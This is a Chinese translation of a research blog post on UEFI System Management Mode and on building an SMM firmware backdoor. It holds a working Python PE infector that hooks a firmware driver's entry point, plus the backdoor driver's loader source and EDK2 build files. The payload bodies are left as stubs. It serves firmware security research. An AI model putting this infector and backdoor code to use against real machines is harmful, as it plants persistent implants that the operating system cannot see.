翻译 · 2020年12月30日 3

基于UEFI平台的SMM后门构建

Dmytro Oleksiuk是真的牛,早期学习UEFI安全时就是边翻译他的文章边学的。

翻得不怎么样,能看懂就行(

原文: http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html

系统管理模式(System Management Mode)显然是英特尔IA-32架构中最黑暗的角落之一。在过去的几个月里,我学习了关于SMM和为基于UEFI的平台编写SMM后门的周末项目,在本文中,我想与您分享后门的源代码并解释它是如何工作的。 GitHub: https://github.com/Cr4sh/SmmBackdoor 其实,最开始我的灵感来源于对英特尔SMM安全漏洞最近的研究(“A New Class of Vulnerabilities in SMI Handlers”)和LegbaCore团队的(“How Many Million BIOSes Would you Like to Infect?“)以及决定审计我的Intel DQ77KB主板的固件,以发现类似的漏洞。 要对SMM代码进行逆向,需要以某种方式转储SMM的RAM,这并不容易。最明显的方法——主板固件补丁和禁用SMRAM保护让non-SMM访问代码,或利用漏洞exp,来允许读取SMRAM内容,例如boot script table漏洞(CERT VU #976132)这是我以前博客中的UEFI漏洞描述。 这两种方法都有一个显著的缺点——它们都仅能适用于特定的模型,并且你可能会花费不可预测的时间将它们移植到一些新的测试平台上。为了实现更好的解决方案,我决定编写一些运行在SMM中的固件后门,并提供一个接口,允许从低权限的代码转储SMRAM,并做一些其他有用的事情。此外,我还编写了额外的后门payload,允许使用SMM magic对64位GNU/Linux操作系统下用户模式进程进行提权。当然,这后门是研究工具而不是恶意软件,安装它,你需要有一个硬件SPI编程器并物理访问目标机器,但是就像其他研究者所示——也有可能通过适当的UEFI漏洞将这种后门武器化,并且只通过软件的方式感染运行在操作系统中的固件。 在研究人员中,SMM安全并不是一个新的主题,在过去的10年里,有很多关于SMM本身及其用于不同目的的出版物:

然而,这些研究的大部分是在传统BIOS时代完成的,如今,当PC厂商从传统BIOS换代到UEFI时,SMM的安全性与UEFI相关的方面是前所未有的。

系统管理模式(System Management Mode)基础

SMM是i386引入的IA-32架构的一种特殊执行模式,Intel 64 and IA-32 Architectures Software Developer’s Manual的第34章是关于它的设计和使用的主要信息来源:

SMM是一种特殊用途的操作模式,用于处理系统范围内的功能,如电源管理、系统硬件控制或专为OEM设计的代码。它仅用于系统固件,而不是应用软件或通用系统软件。SMM的主要优点是它提供了一个独特且容易隔离的处理器环境,对操作系统或主控程序和软件应用程序透明地操作。

以前,BIOS开发人员主要使用SMM进行电源管理和模拟传统设备,例如,支持PS/2 (端口60h/64h) 的USB键盘和鼠标。目前,它也广泛用于固件和平台安全目的。 为什么黑客会对SMM感兴趣?

  • 在UEFI规范中,SMM在实现平台安全机制方面发挥了非常重要的作用,该机制保护存储在主板闪存芯片中的固件 image不受恶意软件未经授权的修改。
  • SMM是隐藏OS独立和不可见的恶意软件的好地方。这种执行模式对运行在CPU上的所有其他软件,甚至OS内核或VT-x管理程序都具有极大的影响力。

SMM可执行代码和数据存在于SMRAM中,当SMRAM被锁定时,它不能被操作系统或用户模式软件的代码访问。系统固件(legacy BIOS或UEFI)将SMM代码复制到SMRAM中,并在平台初始化时锁定。 处理器仅通过系统管理中断(SMI)切换到SMM,它将当前的进程上下文保存到SMRAM中,并开始执行SMIhandler,该handler可以退出SMM,并使用RSM指令从已保存的上下文中恢复执行。 SMI具有最高的优先级,不能被屏蔽。下面是关于SMIhandler执行环境最重要的事实:

  • 类似于禁用分页的16位真实地址模式。
  • CS段基址为SMRAM基址,EIP为8000h。
  • 段限制设置为4 GBytes,你可以切换到保护模式或长模式来访问所有的物理内存。
  • 所有I/O端口均可用。
  • SMM代码可以读取或修改保存的进程上下文。
  • SMM代码可以设置自己的IDT和使用软件中断。

如你所见,操作系统完全无法访问SMM代码,甚至无法注意到SMI在什么时候被执行。有几种方法可以生成SMI:

  • Ring 0代码可以通过向APMC I/O端口B2h写入一些字节,随时触发软件SMI
  • 通过PCI配置空间访问的内部芯片组寄存器(SMI_EN、GEN_PMCON_1等)允许启用或禁用不同类型的硬件SMI源。
  • 通过重新配置集成到CPU的高级可编程中断控制器(APIC),可以路由硬件中断到SMM。
  • I/O指令重启CPU功能( IA-32 Architectures Software Developer’s Manual 第34.12章)允许在任何I/O端口上由IN或OUT处理器指令访问生成SMI。

SMRAM可以位于兼容内存段(CSEG)、高内存段(HSEG)或顶部内存段(TSEG)系统内存区域。实际上,SMM和SMRAM背后的内存管理特性是硬件特有的,我使用的是Intel DQ77KB主板和Core i5-2500 CPU作为测试平台,所以,本文中的信息将根据以下数据提供:

CSEG是SMRAM的一个默认区域,位于不可缓存物理内存A0000h:BFFFFh的固定地址范围(它与VGA内存重叠)。CSEG主要为传统BIOS开发人员所使用,现代系统可以使用(实际上也使用)SMRAM的其他位置:HSEG或TSEG。他们可以为SMM代码和数据提供8MB的缓存内存,即使对于相对复杂的UEFI SMM Foundation核心和驱动程序来说也足够了。 这里你可以看到处理器数据表的物理内存映射:

image-20230809161648498

CSEG位于legacy地址范围内,低于第一个MB内存。你可能注意到了,图片上没有HSEG区域——我的CPU不支持它。关于TSEG——CPU有趣的事情是把它的地址存储在软件不能直接访问的内部寄存器中,这个值会按照以下方式自动计算: TSEG ADDR = TOLUD – DSM SIZE – GSM SIZE – TSEG SIZE …其中TOLUD——Top of Low Usable DRAM,DSM SIZE——Data of Stolen Memory的大小,GSM SIZE——GTT Stolen Memory的大小。

系统管理RAM控制寄存器(SMRAMC)控制CSEG/HSEG/TSEG区域的存在,并且它们的访问权限低于SMM执行模式。下面是对各个比特位的描述:

image-20230809161658467

系统固件在平台初始化期间设置SMRAMC值,并锁定寄存器——所有字段变为只读,直到下一次完全复位。在正确配置的系统上,D_LCK必须为1,D_OPEN必须为0,这意味着SMRAM内存只能从运行在SMM中的代码中访问。G_SMRAME字段控制CSEG的存在,C_BASE_SEG负责HSEG和TSEG。在我的硬件上,C_BASE_SEG是只读的,预定义的值是010b。 还有其他寄存器应该被固件正确配置和锁定,以保护SMRAM免受各种攻击:

UEFI SMM基础

统一可扩展固件接口(Unified Extensible Firmware Interface, UEFI)是一种用于PC机的标准固件架构,用于市场上的大多数现代计算机和笔记本电脑。UEFI对上面描述的SMM体系结构机制提供了很多抽象。更多关于UEFI设计的信息请参考UEFI Platform Initialization Specification

UEFI引导序列由几个平台初始化(PI)阶段组成,每个初始化阶段都有自己的执行环境和API:

image-20230809161707691

我在上一篇关于UEFI boot script table漏洞的文章中描述了PEI阶段,那篇文章中提到的S3恢复引导路径并没有在上图中体现。 当PEI core将执行传输到DXE core模块的DxeMain()函数时,DXE阶段开始。DXE core模块存储在主板ROM芯片上的固件文件系统(FFS) image上。DXE core从FFS加载其他DXE驱动程序,这些驱动程序可以调用EFI boot services(由EFI_BOOT_SERVICES结构体定义)和EFI runtime services(由EFI_RUNTIME_SERVICES结构体定义)。这个阶段和PEI阶段非常相似,加载的DXE驱动程序可以通过EFI_BOOT_SERVICES.RegisterProtoclInterface()函数注册新的UEFI协议接口,使用EFI_BOOT_SERVICES.RegisterProtoclNotify()获取关于某些协议注册的通知,或者使用EFI_BOOT_SERVICES.LocateProtocol()EFI_BOOT_SERVICES.LocateHandle()查找现有的协议。当EFI OS loader调用EFI_BOOT_SERVICES.ExitBootServices()函数时,DXE阶段结束,该函数将控制权转移到操作系统内核。在runtime阶段,只有EFI_RUNTIME_SERVICES函数被用于运行操作系统。

SMM阶段是可选的阶段,它在DXE中启动,并与其他PI阶段并行运行到runtime阶段。Platform Initialization Specification 第4卷-系统管理模式核心接口,告诉我们SMM阶段由两个部分组成:

  • SMRAM初始化——在DXE过程中,SMM相关驱动打开SMRAM,创建SMRAM内存映射并提供启动SMM相关驱动所需的服务,然后在启动之前关闭并锁定SMRAM。
  • SMI管理——生成SMI时,将创建驱动程序执行环境,然后检测SMI源并调用SMIhandler。

EDK2源码有SMM协议的开源实现,但代码并不完整,因为这些协议是特定于硬件的,要获得更有用的实现,你可以查看Intel Quark Board Support Package。请注意,Quark BSP只支持i386架构(Intel Quark SoC没有长模式支持),而大多数PC的UEFI固件使用x86_64代码SMM。另外,“EDK II SMM call topology”文档为这些开源项目提供了一个很好的演示。 SMM阶段开始时为几个DXE驱动程序的合作,应该实现以下UEFI协议:

  • EFI_SMM_ACCESS2_PROTOCOL —— 描述系统中可用的不同SMRAM区域。
  • EFI_SMM_CONTROL2_PROTOCOL —— 用于同步发起SMI激活。
  • EFI_SMM_BASE2_PROTOCOL —— 用于SMM驱动初始化时定位SMST (System Management Services Table)。
  • EFI_SMM_CONFIGURATION_PROTOCOL —— 托管协议由DXE CPU驱动发起,用来指示SMRAM中哪些区域被CPU保留用于任何目的,如堆栈、保存状态或SMM入口点。
  • EFI_SMM_COMMUNICATION_PROTOCOL —— 提供SMM外部驱动程序和SMM内部SMI handler 之间的通信方法。
  • EFI_DXE_SMM_READY_TO_LOCK_PROTOCOL —— 托管DXE驱动发起的协议,表示SMM即将被锁定。该协议的注册通知将调用EFI_SMM_ACCESS2_PROTOCOL.Lock()函数来锁定SMRAM。

EFI_SMM_ACCESS2_PROTOCOLEFI_SMM_CONTROL2_PROTOCOLEFI_SMM_BASE2_PROTOCOL从1.0版本的平台初始化规范开始出现,它们取代了先前版本规范中的EFI_SMM_ACCESS_PROTOCOLEFI_SMM_CONTROL_PROTOCOLEFI_SMM_BASE_PROTOCOL。现在,大多数BIOS供应商都使用新的协议,但是一些旧的硬件可能只支持旧的,这意味着用于实际用途的SMM后门应该能够使用这两个协议集。 有三种类型的DXE阶段驱动涉及到SMM初始化:

  • DXE驱动 —— 由DXE核心驱动加载到系统内存中的常规DXE阶段驱动程序。
  • SMM驱动 —— SMM驱动程序被启动一次,在SMM初始化阶段直接进入SMRAM。
  • SMM/DXE组合驱动 —— 加载两次的驱动程序的组合:作为DXE驱动程序和作为SMM驱动程序。

所有这些驱动程序都有相同的入口点函数类型特征:

typedef
EFI_STATUS
(EFIAPI * EFI_IMAGE_ENTRY_POINT) (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
);

SMM和SMM/DXE组合驱动只能在入口点使用EFI_BOOT_SERVICES函数和DXE协议,SMI管理过程中调用的协议和回调只能使用SMST函数和SMM协议。 以下是来自EDK2源代码的SMM系统表结构和我的一些附加注释:

//
// System Management System Table (SMST)
//
// 系统管理系统表(SMST)是一个包含管理SMRAM分配和提供基本I/O服务的公共服务集合的表。
// 这些服务用于预引导和runtime时使用。
//
struct _EFI_SMM_SYSTEM_TABLE2
{
// SMST的表头.
EFI_TABLE_HEADER Hdr;
// 指向包含供应商名称的以空结尾的Unicode字符串的指针。
// 这个指针可以为空。
CHAR16 *SmmFirmwareVendor;

// 固件的特殊修订
UINT32 SmmFirmwareRevision;

// 从SMST中添加、更新或删除配置表项。
EFI_SMM_INSTALL_CONFIGURATION_TABLE2 SmmInstallConfigurationTable;

// I/O Service
EFI_SMM_CPU_IO2_PROTOCOL SmmIo;

//
// Runtime memory services
//

// 从SMRAM中分配内存池
EFI_ALLOCATE_POOL SmmAllocatePool;

// 向系统返回SMRAM内存池
EFI_FREE_POOL SmmFreePool;

// 从SMRAM中分配内存页
EFI_ALLOCATE_PAGES SmmAllocatePages;

// 将内存页释放给系统
EFI_FREE_PAGES SmmFreePages;

// 在SMM中,在一个不同的应用程序处理器上执行调用者提供的代码流。
EFI_SMM_STARTUP_THIS_AP SmmStartupThisAp;

//
// CPU 信息记录
//

// 一个介于0和NumberOfCpus字段之间的数字。
// 该字段指定哪个处理器正在执行SMM基础架构。
UINTN CurrentlyExecutingCpu;

// 平台中可能的处理器数量。这是一个基于1的计数器。
UINTN NumberOfCpus;

// 指向一个数组
// 其中每个元素描述了由CpuSavaState指定的相应保存状态中的字节数
// 数组中总是有大量的cpu条目
UINTN *CpuSaveStateSize;

// 指向一个数组,其中每个元素都是一个指向CPU保存状态的指针。
// CpuSaveStateSize中相应的元素指定了保存状态区域的字节数。
// 数组中总是有大量的cpu条目
VOID **CpuSaveState;

//
// 扩展表
//

// 缓冲区SmmConfigurationTable中UEFI配置表的个数。
UINTN NumberOfTableEntries;

// 指向UEFI配置表的指针。
// 表中的条目数为NumberOfTableEntries。
EFI_CONFIGURATION_TABLE *SmmConfigurationTable;

//
// Protocol services
//

// 安装SMM协议接口。
EFI_INSTALL_PROTOCOL_INTERFACE SmmInstallProtocolInterface;

// 卸载SMM协议接口
EFI_UNINSTALL_PROTOCOL_INTERFACE SmmUninstallProtocolInterface;

// 查询句柄,以确定其是否支持指定的SMM协议。
EFI_HANDLE_PROTOCOL SmmHandleProtocol;

// 注册一个在安装特定协议接口时被调用的回调函数。
EFI_SMM_REGISTER_PROTOCOL_NOTIFY SmmRegisterProtocolNotify;

// 返回支持指定协议的句柄数组。
EFI_LOCATE_HANDLE SmmLocateHandle;

// 返回与给定协议匹配的第一个SMM协议实例。
EFI_LOCATE_PROTOCOL SmmLocateProtocol;

//
// SMI Management函数
//

// 管理特定类型的SMI。
EFI_SMM_INTERRUPT_MANAGE SmiManage;

// 注册一个要在SMM中执行的handler。
EFI_SMM_INTERRUPT_REGISTER SmiHandlerRegister;

// 在SMM中注销handler。
EFI_SMM_INTERRUPT_UNREGISTER SmiHandlerUnRegister;
};

除了前面描述的DXE阶段的协议外,SMM驱动程序还可以在SMI管理期间使用以下的SMM-only协议:

  • EFI_SMM_STATUS_CODE_PROTOCOL —— 向其他UEFI PI组件报告SMM代码错误。
  • EFI_SMM_CPU_PROTOCOL —— 提供对保存的CPU执行状态的访问。
  • EFI_SMM_CPU_IO2_PROTOCOL —— 为SMM代码提供CPU I/O和内存访问。
  • EFI_SMM_PCI_ROOT_BRIDGE_IO_PROTOCOL —— 提供基本的内存、I/O、PCI配置和DMA接口,这些接口用于在PCI root bridge控制器后面抽象访问PCI控制器。
  • EFI_SMM_READY_TO_LOCK_SMM_PROTOCOL —— SMM Foundation发起的强制协议,标识SMRAM即将被锁定
  • EFI_SMM_END_OF_DXE_PROTOCOL —— 类似于EFI_SMM_READY_TO_LOCK_SMM_PROTOCOL,在调用任何第三方内容之前由PI平台代码发起,包括ROM和UEFI可执行文件选项,这些可执行文件不是来自平台制造商。

编写SMM/DXE组合驱动

SMM/DXE组合驱动程序看起来非常整洁,但却有恶意:你可以有一个单独的后门,可以同时执行DXE和SMM阶段的payload。 我原以为在EDK2、Quark BSP等公共资源中找到这类驱动程序的可用示例会很困难。实际上,只有两篇关于UEFI SMM驱动程序开发的公开文章:EFI Howto, Write a SMM DriverBIOS Undercover: Writing A Software SMI Handler——它们都是过时的、不完整的或特定于供应商的。 为了学习如何编写组合驱动程序,我决定对我主板固件中现有的组合驱动程序做一个简短的逆向工程。这一次我使用Nikolaj Schlej的UEFITool来处理flash image ,如果你需要进行固件修改和重建——这个优秀的工具比我上一篇文章中提到的uefi-firmware-parser能够更好地工作。 我的目标是名为26A2481E-4424-46A2-9943-CC4039EAD8F8的组合驱动程序(google告诉我这个GUID属于S3Save UEFI驱动程序,但对于我们的目的来说,这并不重要):

image-20230809161728358

在提取驱动程序的body之后,让我们将它加载到IDA Pro中,并观察模块入口点周围的代码。前一篇文章中的PEI模块的逆向工程技巧也适用于DXE和SMM驱动程序,只有一个主要的区别——DXE和SMM阶段代码使用x86_64架构,而不是PEI的i386。

DWORD __stdcall EntryPoint(PVOID ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_SYSTEM_TABLE *v2; // rbx@1
PVOID v3; // rdi@1

v2 = SystemTable;
v3 = ImageHandle;

// 初始化ImageHandle和SystemTable的全局变量
sub_180002074(ImageHandle, SystemTable);

// do the stuff
return sub_180001FD0(v3, v2);
}

EFI_RUNTIME_SERVICES * __fastcall sub_180002074(PVOID ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_RUNTIME_SERVICES *v2; // rax@2

if (!gST)
{
gST = SystemTable;
gBS = SystemTable->BootServices;
v2 = SystemTable->RuntimeServices;
gImageHandle = ImageHandle;
gRuntimeServices = v2;
}

return v2;
}

DWORD __fastcall sub_180001FD0(PVOID ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_SYSTEM_TABLE *v2; // rbx@1
PVOID v3; // rdi@1
__int64 v4; // rax@1
char v6; // [sp+38h] [bp+10h]@1

v2 = SystemTable;
v3 = ImageHandle;
bInSmm = 0;

// 执行各种初始化
sub_180002074(ImageHandle, SystemTable);

// 定位 EFI_SMM_BASE2_PROTOCOL
LODWORD(v4) = v2->BootServices->LocateProtocol(
&gEfiSmmBase2ProtocolGuid,
0i64,
&gEfiSmmBase2Protocol
);
if (v4 & 0x8000000000000000)
{
if (v4 != 0x800000000000000E)
{
return 3;
}

bInSmm = 0;

// 如果没找到EFI_SMM_BASE2_PROTOCOL , 则执行 DXE 相关操作
return sub_180001F54(v3, v2);
}

gEfiSmmBase2Protocol->InSmm(gEfiSmmBase2Protocol, &bInSmm);
if (!bInSmm)
{
// 找到了EFI_SMM_BASE2_PROTOCOL但不在SMM中 ,则执行 DXE 相关操作
return sub_180001F54(v3, v2);
}

// 驱动加载到SMRAM中,执行SMM相关操作
return sub_180001ED8(v3, v2);
}

int __fastcall sub_180001ED8(void *a1, EFI_SYSTEM_TABLE *a2)
{
__int64 v2; // rax@1
__int64 v3; // rax@3

// 执行各种SMM驱动初始化
LODWORD(v2) = sub_1800021D8(a1, a2);

if (!(v2 & 0x8000000000000000))
{
LODWORD(v2) = sub_180000610(1);

if (!(v2 & 0x8000000000000000))
{
// 获取SMM表的地址
LODWORD(v3) = gEfiSmmBase2Protocol->GetSmstLocation(
gEfiSmmBase2Protocol,
&gSMST
);
if (v3 & 0x8000000000000000 || !gSMST)
{
// error:无法获取 SMST地址
LODWORD(v2) = 3;
}
else
{
// 执行其他SMM驱动操作
// ...
}
}
}

return v2;
}

如你所见,该模块的入口点调用sub_180002074()函数来初始化全局变量,sub_180001FD0()使用EFI_SMM_BASE2_PROTOCOL.InSmm()来确定驱动程序在SMM模式下运行,如是 —— 则使用EFI_SMM_BASE2_PROTOCOL.GetSmstLocation()来定位SMST,并继续执行各种与SMM相关的操作。当驱动被加载为DXE时,调用sub_180001F54()进行DXE相关操作,当驱动加载到SMM中时使用sub_180001ED8()

在SMM中运行代码

正如所说,要在SMM中运行一些定制代码,你需要有一个硬件编程器,如果你的主板有一个COM端口——它可能对读取SMM代码的调试输出非常有用。 在下图中你可以看到我的测试配置,在之前的文章中提到过:

image-20230809161739308

当清楚SMM/DXE组合驱动程序应该如何工作后——我编写了一个简单的hello world驱动程序,它使用EFI_SMM_BASE2_PROTOCOL来定位SMST并将其地址打印到调试输出。首先,我决定将驱动程序作为一个新文件添加到FFS文件卷中,但当我用修改后的固件刷写到我的测试系统时——hello world驱动没有被加载。我仍然不知道导致这种结果的原因:可能,有一些问题与PE/FFS头或驱动加载顺序存在依赖关系。好吧,但至少有一件好事:修改后的固件运行正常,这意味着英特尔DQ77KB板没有使用任何自定义机制来验证固件 image或FFS文件卷的完整性。 下一次测试,我决定不在逆向工程和调试上浪费时间了——感染上面提到的现有组合驱动程序的PE image。 使用Python和pefile库,我编写了一个简单的PE文件感染器,它将payload PE image复制到目标 image新的节上,并hook它的入口点来在image加载上执行payload:

# see struct _INFECTOR_CONFIG in SmmBackdoor.h
INFECTOR_CONFIG_SECTION = '.conf'
INFECTOR_CONFIG_FMT = 'QI'
INFECTOR_CONFIG_LEN = 8 + 4

# IMAGE_DOS_HEADER.e_res 标记被感染文件的magic常数
INFECTOR_SIGN = 'INFECTED'

# 用payload感染src image,并可选择将其保存到dst
def infect(src, payload, dst = None):

import pefile

def _infector_config_offset(pe):

for section in pe.sections:

# 找到 payload image的.conf节
if section.Name[: len(INFECTOR_CONFIG_SECTION)] == INFECTOR_CONFIG_SECTION:

return section.PointerToRawData

raise Exception('Unable to find %s section' % INFECTOR_CONFIG_SECTION)

def _infector_config_get(pe, data):

offs = _infector_config_offset(pe)

return unpack(INFECTOR_CONFIG_FMT, data[offs : offs + INFECTOR_CONFIG_LEN])

def _infector_config_set(pe, data, *args):

offs = _infector_config_offset(pe)

return data[: offs] + \
pack(INFECTOR_CONFIG_FMT, *args) + \
data[offs + INFECTOR_CONFIG_LEN :]

# 加载目标 image
pe_src = pefile.PE(src)

# 加载payload image
pe_payload = pefile.PE(payload)

if pe_src.DOS_HEADER.e_res == INFECTOR_SIGN:

raise Exception('%s is already infected' % src)

if pe_src.FILE_HEADER.Machine != pe_payload.FILE_HEADER.Machine:

raise Exception('Architecture missmatch')

# 将payload image数据读入字符串
data = open(payload, 'rb').read()

# 读取_INFECTOR_CONFIG,这个结构体位于payload image的.conf节
conf_ep_new, conf_ep_old = _infector_config_get(pe_payload, data)

last_section = None
for section in pe_src.sections:

# 找到目标 image的最后一个节
last_section = section

if last_section.Misc_VirtualSize > last_section.SizeOfRawData:

raise Exception('Last section virtual size must be less or equal than raw size')

# 保存目标 image的原始入口地址
conf_ep_old = pe_src.OPTIONAL_HEADER.AddressOfEntryPoint

# 将更新后的_INFECTOR_CONFIG写入payload image
data = _infector_config_set(pe_payload, data, conf_ep_new, conf_ep_old)

# 设置目标 image的新入口点
pe_src.OPTIONAL_HEADER.AddressOfEntryPoint = \
last_section.VirtualAddress + last_section.SizeOfRawData + conf_ep_new

# 更新最后一个节的大小
last_section.SizeOfRawData += len(data)
last_section.Misc_VirtualSize = last_section.SizeOfRawData

# 使其可执行
last_section.Characteristics = pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_READ'] | \
pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_WRITE'] | \
pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE']

# 更新 image文件头
pe_src.DOS_HEADER.e_res = INFECTOR_SIGN
pe_src.OPTIONAL_HEADER.SizeOfImage = \
last_section.VirtualAddress + last_section.Misc_VirtualSize

# 获取受感染的 image数据
data = pe_src.write() + data

if dst is not None:

with open(dst, 'wb') as fd:

# save infected image to the file
fd.write(data)

return data

如前所述,感染器payload只是DXE/SMM组合驱动程序的常规PE image。加载后,该 image更新它的重定位基址,执行后门初始化操作,并将执行转移到被感染 image的原始入口点(它的RVA地址被感染器保存在payload image的.conf部分)

// file: SmmBackdoor.c
// UEFI SMM foundation headers
#include <FrameworkSmm.h>

// required EDK protocols
#include <Protocol/LoadedImage.h>
#include <Protocol/SmmCpu.h>
#include <Protocol/SmmBase2.h>
#include <Protocol/SmmAccess2.h>
#include <Protocol/SmmSwDispatch2.h>
#include <Protocol/SmmPeriodicTimerDispatch2.h>
#include <Protocol/DevicePath.h>
#include <Protocol/SerialIo.h>

// required EDK libraries
#include <Library/UefiDriverEntryPoint.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/DebugLib.h>
#include <Library/DevicePathLib.h>
#include <Library/UefiRuntimeLib.h>
#include <Library/SynchronizationLib.h>

// PE image structures
#include <IndustryStandard/PeImage.h>

#include "config.h"
#include "common.h"
#include "printf.h"
#include "debug.h"
#include "loader.h"
#include "SmmBackdoor.h"

#include "asm/common_asm.h"

// 该函数为被感染 image的入口点
EFI_STATUS
BackdoorEntryInfected(
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable
);

#pragma section(".conf", read, write)

// 为感染器提供PE image节的信息
__declspec(allocate(".conf")) INFECTOR_CONFIG m_InfectorConfig =
{
// 被感染文件的新入口点地址
(PVOID)&BackdoorEntryInfected,

// 旧入口点地址 (将被感染器设置)
0
};

// DXE and runtime 阶段的API
EFI_SYSTEM_TABLE *gST;
EFI_BOOT_SERVICES *gBS;
EFI_RUNTIME_SERVICES *gRT;

// SMM 阶段的API
EFI_SMM_SYSTEM_TABLE2 *gSmst = NULL;

BOOLEAN m_bInfectedImage = FALSE;
EFI_HANDLE m_ImageHandle = NULL;
PVOID m_ImageBase = NULL;
//--------------------------------------------------------------------------------------
PVOID BackdoorImageAddress(void)
{
PVOID Addr = _get_addr();
UINT64 Base = ALIGN_DOWN((UINT64)Addr, DEFAULT_EDK_ALIGN);

// 通过模块内部地址获取当前模块的基址
while (*(PUSHORT)Base != EFI_IMAGE_DOS_SIGNATURE)
{
Base -= DEFAULT_EDK_ALIGN;
}

return Base;
}
//--------------------------------------------------------------------------------------
EFI_STATUS BackdoorImageCallRealEntry(
PVOID Image,
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable)
{
if (m_InfectorConfig.OriginalEntryPoint != 0)
{
EFI_IMAGE_ENTRY_POINT pEntry = (EFI_IMAGE_ENTRY_POINT)RVATOVA(
Image,
m_InfectorConfig.OriginalEntryPoint
);

// 调用原始入口点
return pEntry(ImageHandle, SystemTable);
}

return EFI_SUCCESS;
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntryDxe(VOID)
{
// DXE 阶段 payload 代码
// ...
}
//--------------------------------------------------------------------------------------
VOID BackdoorEntrySmm(VOID)
{
// SMM 阶段 payload 代码
// ...
}
//--------------------------------------------------------------------------------------
EFI_STATUS
BackdoorEntryInfected(
EFI_HANDLE ImageHandle,
EFI_SYSTEM_TABLE *SystemTable)
{
// 获取payload image地址
PVOID Base = BackdoorImageAddress();

// 更新payload image的重定位基址
LdrProcessRelocs(Base, Base);

// 调用LdrProcessRelocs()之后,就可以使用全局变量和数据了
m_ImageBase = Base;

// 调用payload image的原始入口点
return BackdoorEntry(
ImageHandle,
SystemTable
);
}
//--------------------------------------------------------------------------------------
EFI_STATUS
BackdoorEntry(
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable)
{
EFI_STATUS Ret = EFI_SUCCESS, Status = EFI_SUCCESS;
BOOLEAN bInSmram = FALSE;
PVOID Image = NULL;

EFI_LOADED_IMAGE *LoadedImage = NULL;
EFI_SMM_BASE2_PROTOCOL *SmmBase = NULL;

if (m_ImageHandle == NULL)
{
m_ImageHandle = ImageHandle;

gST = SystemTable;
gBS = gST->BootServices;
gRT = gST->RuntimeServices;

DbgMsg(__FILE__, __LINE__, "BackdoorEntry() called\r\n");

// 获取当前 image的信息
gBS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, (VOID *)&LoadedImage);

if (m_ImageBase == NULL)
{
// payload image作为独立的EFI应用程序或驱动程序加载
m_bInfectedImage = FALSE;
m_ImageBase = LoadedImage->ImageBase;

DbgMsg(__FILE__, __LINE__, "Started as standalone driver/app\r\n");
}
else
{
// payload image被加载为感染者payload
m_bInfectedImage = TRUE;

DbgMsg(__FILE__, __LINE__, "Started as infector payload\r\n");
}

DbgMsg(__FILE__, __LINE__, "Image base address is "FPTR"\r\n", m_ImageBase);
}

Status = gBS->LocateProtocol(&gEfiSmmBase2ProtocolGuid, NULL, (PVOID *)&SmmBase);
if (Status == EFI_SUCCESS)
{
// 检测被感染的驱动程序是否正在SMM中运行
SmmBase->InSmm(SmmBase, &bInSmram);

if (bInSmram)
{
DbgMsg(__FILE__, __LINE__, "Running in SMM\r\n");

Status = SmmBase->GetSmstLocation(SmmBase, &gSmst);
if (Status == EFI_SUCCESS)
{
DbgMsg(__FILE__, __LINE__, "SMM system table is at "FPTR"\r\n", gSmst);

// 运行SMM特定代码
BackdoorEntrySmm();
}
else
{
DbgMsg(__FILE__, __LINE__, "GetSmstLocation() fails: 0x%X\r\n", Status);
}
}
}

if (!bInSmram)
{
// 运行DXE特定代码
BackdoorEntryDxe();
}

if (m_bInfectedImage)
{
// 调用被感染 image的原始入口点
Ret = BackdoorImageCallRealEntry(LoadedImage->ImageBase, ImageHandle, SystemTable);
}

return Ret;
}
//--------------------------------------------------------------------------------------
// EoF

为了编译UEFI驱动,我使用之前提到的EDK2。不幸的是,在我的OS X机器上,编译错误导致编译失败,所以,我将在Windows机器上安装Visual Studio 2008编译SMM后门驱动程序。 首先,我们需要从https://github.com/tianocore/edk2中克隆EDK2源代码树,并阅读BuildNotes2.txt文档中的编译指令。然后我们需要编辑Conf/target.txt文件,并设置ACTIVE_PLATFORM属性值为OvmfPkg/OvmfPkgX64。将带有后门驱动程序源代码的目录(SmmBackdoor)复制到带有EDK2源代码的目录中。 EDK2使用自己的makefile格式,对于我们的项目,我们需要自己编写SmmBackdoor/SmmBackdoor.inf文件,内容如下:

# main settings
[defines]
INF_VERSION = 0x00010005
BASE_NAME = SmmBackdoor
FILE_GUID = 22D5AE41-147E-4C44-AE72-ECD9BBB455C1 # random one
MODULE_TYPE = DXE_SMM_DRIVER
ENTRY_POINT = BackdoorEntry

# C sources
[Sources]
debug.c
loader.c
printf.c
serial.c
SmmBackdoor.c

# architecture-specific assembly sources
[Sources.X64]
asm/amd64/common_asm.asm

# required EDK packages
[Packages]
MdePkg/MdePkg.dec
MdeModulePkg/MdeModulePkg.dec
IntelFrameworkPkg/IntelFrameworkPkg.dec
IntelFrameworkModulePkg/IntelFrameworkModulePkg.dec
StdLib/StdLib.dec

# required EDK libraries
[LibraryClasses]
UefiDriverEntryPoint
UefiBootServicesTableLib
DebugLib
DevicePathLib
SynchronizationLib

# required EDK protocols
[Protocols]
gEfiSimpleTextOutProtocolGuid
gEfiLoadedImageProtocolGuid
gEfiSmmCpuProtocolGuid
gEfiSmmBase2ProtocolGuid
gEfiSmmAccess2ProtocolGuid
gEfiSmmSwDispatch2ProtocolGuid
gEfiSmmPeriodicTimerDispatch2ProtocolGuid
gEfiDevicePathProtocolGuid
gEfiSerialIoProtocolGuid

# load order dependencies (none)
[Depex]
TRUE

同样,你需要编辑OvmfPkg/OvmfPkgX64.dsc并在文件末尾添加以下行:

#
# 3-rd party drivers
#
SmmBackdoor/SmmBackdoor.inf {

DebugLib|OvmfPkg/Library/PlatformDebugLibIoPort/PlatformDebugLibIoPort.inf
MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf
}

编译SmmBackdoor项目:

